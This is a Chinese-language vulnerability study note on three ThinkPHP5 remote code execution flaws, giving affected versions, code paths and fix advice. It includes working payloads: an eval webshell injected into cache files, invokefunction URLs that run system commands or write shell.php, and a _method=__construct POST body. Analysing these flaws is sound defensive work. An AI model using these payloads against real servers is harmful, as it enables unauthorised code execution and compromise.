Thinkphp5代码执行学习
字数 1283 2025-08-25 22:58:46
ThinkPHP5 代码执行漏洞全面分析
漏洞概述
ThinkPHP5 框架存在多个代码执行漏洞,主要涉及缓存类RCE、未开启强制路由导致的RCE以及method任意调用方法导致的RCE。这些漏洞影响多个版本,攻击者可利用这些漏洞在目标系统上执行任意代码。
一、缓存类RCE漏洞
影响版本
- 5.0.0 <= ThinkPHP5 <= 5.0.10
漏洞原理
- 缓存文件写入时未对内容进行有效过滤
- 攻击者可通过注入换行符绕过注释限制
- 恶意代码被直接写入缓存文件
关键代码分析
thinkphp/library/think/Cache.php:126- set方法thinkphp/library/think/cache/driver/File.php:137- File类的set方法- 文件名生成逻辑:
- 获取键名的md5值
- 前2个字符作为缓存子目录
- 后30字符作为缓存文件名
利用方式
?username=syst1m%0d%0a@eval($_GET[_]);//
二、未开启强制路由导致的RCE
影响版本
- 5.0.7 <= ThinkPHP <= 5.0.22
漏洞原理
- 默认未开启强制路由且开启路由兼容模式
- 用户参数未经充分过滤直接传递给call_user_func
- 通过特殊构造的URL可调用任意类方法
利用Payload
5.1.x版本:
?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
5.0.x版本:
?s=index/think\config/get&name=database.username # 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg # 包含任意文件
?s=index/\think\Config/load&file=../../t.php # 包含任意.php文件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
漏洞分析流程
-
请求处理流程:
thinkphp/library/think/route/dispatch/Module.php:70thinkphp/library/think/App.php的run方法thinkphp/library/think/route/dispatch/Url.php:23
-
关键调用链:
Request::input()$this->filterValue()call_user_func()实现RCE
三、method任意调用方法导致的RCE
影响版本
- 5.0.0 <= ThinkPHP5 <= 5.0.23
漏洞原理
$method来自可控的$_POST数组且未经检查- 可调用Request类的任意方法
- 通过覆盖Request类属性实现代码执行
关键代码点
thinkphp/library/think/Request.php:524- method变量处理var_method值为_method- Request类的
__construct方法可覆盖类属性
利用条件
- 开启debug模式会调用
$request->param()方法 - 或当
$dispatch['type']等于method/controller时
利用方式
POST /index.php?s=captcha HTTP/1.1
_method=__construct&filter[]=system&method=get&get[]=ls+-al
漏洞修复建议
- 及时升级到最新安全版本
- 开启强制路由功能
- 关闭路由兼容模式
- 生产环境关闭debug模式
- 对用户输入进行严格过滤
总结
ThinkPHP5框架的多个版本存在严重的代码执行漏洞,攻击者可通过多种方式利用这些漏洞在目标系统上执行任意命令。这些漏洞的核心问题在于对用户输入的控制不严格,以及框架默认配置存在安全隐患。开发人员应及时采取修复措施,避免系统遭受攻击。